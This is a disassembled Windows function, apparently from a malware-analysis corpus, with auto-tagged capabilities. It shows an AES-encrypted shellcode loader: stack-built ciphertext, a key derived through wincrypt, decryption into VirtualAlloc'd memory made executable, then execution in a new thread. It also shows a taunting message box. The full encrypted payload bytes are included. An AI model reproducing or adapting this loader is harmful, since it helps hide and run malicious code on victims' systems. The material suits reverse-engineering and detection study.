Function at 0x180001080
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rbp + 0x150], rax
xor r9d, r9d
lea r8, str.Boom
lea rdx, str.Oh_Noo____You_Get_Fucked_:D
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rsp + 0x58], 0x257f1ba6
mov dword [rsp + 0x5c], 0xc5893689
mov dword [rsp + 0x60], 0x29d8f51c
mov dword [rsp + 0x64], 0x8a42593d
mov dword [rsp + 0x70], 0xcbc7e09a
mov dword [rsp + 0x74], 0x8eb65b97
mov dword [rsp + 0x78], 0x8a17570
mov dword [rsp + 0x7c], 0x82fa6244
mov dword [rbp - 0x80], 0xcb6224bd
mov dword [rbp - 0x7c], 0xbe588cab
mov dword [rbp - 0x78], 0xbdb05db4
mov dword [rbp - 0x74], 0xdfecfdec
mov dword [rbp - 0x70], 0xcfd04438
mov dword [rbp - 0x6c], 0xdf275ad8
mov dword [rbp - 0x68], 0x1637d36b
mov dword [rbp - 0x64], 0xd64259e8
mov dword [rbp - 0x60], 0x4c767035
mov dword [rbp - 0x5c], 0xfe54fbea
mov dword [rbp - 0x58], 0x8a51999a
mov dword [rbp - 0x54], 0xe1ec18bb
mov dword [rbp - 0x50], 0x5664ffb5
mov dword [rbp - 0x4c], 0xc963330b
mov dword [rbp - 0x48], 0x3d655081
mov dword [rbp - 0x44], 0x7af42bab
mov dword [rbp - 0x40], 0xe6ace17a
mov dword [rbp - 0x3c], 0xc9cde4a9
mov dword [rbp - 0x38], 0xa1afa329
mov dword [rbp - 0x34], 0x115c8124
mov dword [rbp - 0x30], 0x7313eec
mov dword [rbp - 0x2c], 0x615f7f65
mov dword [rbp - 0x28], 0xcc9138ad
mov dword [rbp - 0x24], 0x15f88ae9
mov dword [rbp - 0x20], 0x45712c66
mov dword [rbp - 0x1c], 0xf09c0ec7
mov dword [rbp - 0x18], 0xdab72e80
mov dword [rbp - 0x14], 0x7ff849b9
mov dword [rbp - 0x10], 0xd0fe8cbf
mov dword [rbp - 0xc], 0x84d3d1c0
mov dword [rbp - 8], 0x3d61d0d3
mov dword [rbp - 4], 0x3feb55d1
mov dword [rbp], 0x94ea9bed
mov dword [rbp + 4], 0x15844dde
mov dword [rbp + 8], 0xd54c2992
mov dword [rbp + 0xc], 0x15d11b29
mov dword [rbp + 0x10], 0xa6e7bda3
mov dword [rbp + 0x14], 0x67cb9edf
mov dword [rbp + 0x18], 0x64f53e2c
mov dword [rbp + 0x1c], 0x6647eb3f
mov dword [rbp + 0x20], 0x240b2928
mov dword [rbp + 0x24], 0x37e6ab63
mov dword [rbp + 0x28], 0x1e703c33
mov dword [rbp + 0x2c], 0xb8e855b3
mov dword [rbp + 0x30], 0x91adf98b
mov dword [rbp + 0x34], 0x2fb62d04
mov dword [rbp + 0x38], 0x35659612
mov dword [rbp + 0x3c], 0x93a8bb40
mov dword [rbp + 0x40], 0x11e483d8
mov dword [rbp + 0x44], 0x9e3018d7
mov dword [rbp + 0x48], 0xc1d0d607
mov dword [rbp + 0x4c], 0x4b7d66ee
mov dword [rbp + 0x50], 0x9f5ab48b
mov dword [rbp + 0x54], 0x612eee4
mov dword [rbp + 0x58], 0x9b6cd765
mov dword [rbp + 0x5c], 0x502ad142
mov dword [rbp + 0x60], 0x529817cd
mov dword [rbp + 0x64], 0xda3b65e1
mov dword [rbp + 0x68], 0xadb1fd2
mov dword [rbp + 0x6c], 0xd17bfb91
mov dword [rbp + 0x70], 0x67f5f77e
mov dword [rbp + 0x74], 0x929235b8
mov dword [rbp + 0x78], 0x6ebf1a28
mov dword [rbp + 0x7c], 0xd02b0397
mov dword [rbp + 0x80], 0xe197dad7
mov dword [rbp + 0x84], 0xe6ba62aa
mov dword [rbp + 0x88], 0xdff31daa
mov dword [rbp + 0x8c], 0xf735c8ab
xor ecx, ecx
mov dword [rbp + 0x90], 0x81806913
mov edx, 0x1e0
mov dword [rbp + 0x94], 0x10a4a555
mov r8d, 0x3000
mov dword [rbp + 0x98], 0x1d4f04c1
mov dword [rbp + 0x9c], 0x72f6c11a
lea r9d, [rcx + 4]
mov dword [rbp + 0xa0], 0xaa06f6a8
mov dword [rbp + 0xa4], 0xd0ad1a6c
mov dword [rbp + 0xa8], 0xed3e4150
mov dword [rbp + 0xac], 0x259312e4
mov dword [rbp + 0xb0], 0x2d4a5589
mov dword [rbp + 0xb4], 0xcd1233b9
mov dword [rbp + 0xb8], 0x43dfdaf6
mov dword [rbp + 0xbc], 0xa9204cda
mov dword [rbp + 0xc0], 0xd21c7cf4
mov dword [rbp + 0xc4], 0x4da4a11f
mov dword [rbp + 0xc8], 0xe11d9ef6
mov dword [rbp + 0xcc], 0x92513503
mov dword [rbp + 0xd0], 0xb19278dd
mov dword [rbp + 0xd4], 0xc0bafdde
mov dword [rbp + 0xd8], 0x7285c0a3
mov dword [rbp + 0xdc], 0x6c8c699f
mov dword [rbp + 0xe0], 0xfe90aace
mov dword [rbp + 0xe4], 0xf7e023e9
mov dword [rbp + 0xe8], 0x2360602b
mov dword [rbp + 0xec], 0xa7e7804e
mov dword [rbp + 0xf0], 0x2232c6ed
mov dword [rbp + 0xf4], 0xb0be0fbe
mov dword [rbp + 0xf8], 0xfadeb89e
mov dword [rbp + 0xfc], 0xd47519fd
mov dword [rbp + 0x100], 0xd03a2d2
mov dword [rbp + 0x104], 0xb9e887ca
mov dword [rbp + 0x108], 0xe5049cca
mov dword [rbp + 0x10c], 0x284f3ad1
mov dword [rbp + 0x110], 0xc34ab4d4
mov dword [rbp + 0x114], 0x2e331764
mov dword [rbp + 0x118], 0x2565773a
mov dword [rbp + 0x11c], 0x6e555340
mov dword [rbp + 0x120], 0x7e7a5339
mov dword [rbp + 0x124], 0x651ee671
mov dword [rbp + 0x128], 0x3ab57a90
mov dword [rbp + 0x12c], 0x8c6371a1
mov dword [rbp + 0x130], 0x92549ab9
mov dword [rbp + 0x134], 0xd13ccbbd
mov dword [rbp + 0x138], 0xdba941db
mov dword [rbp + 0x13c], 0xc2878e6
mov dword [rbp + 0x140], 0xb3d7c282
mov dword [rbp + 0x144], 0xefce47aa
mov dword [rbp + 0x148], 0x95ee4dfe
mov dword [rbp + 0x14c], 0xf70b874a
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180001501
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_Allocate_memory___u__n
call fcn.180001010
xor eax, eax
jmp 0x180001691
mov r9d, 0x18
mov dword [rsp + 0x30], 0x1e0
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1800015da
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1800015da
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x58]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov r8, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r8d, 0x1e0
lea rdx, [rsp + 0x70]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x50]
mov edx, 0x1e0
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180001622
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_change_memory_protection___u__n
call fcn.180001010
xor eax, eax
jmp 0x180001691
xor eax, eax
mov qword [rsp + 0x270], rdi
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x180001665
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_Create_the_thread___u__n
call fcn.180001010
xor eax, eax
jmp 0x180001689
mov rdx, rbx
lea rcx, str._n_nalloc_mem_:__p_n
call fcn.180001010
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rbx
mov eax, 1
mov rdi, qword [rsp + 0x270]
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.1800016d0
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rbp
ret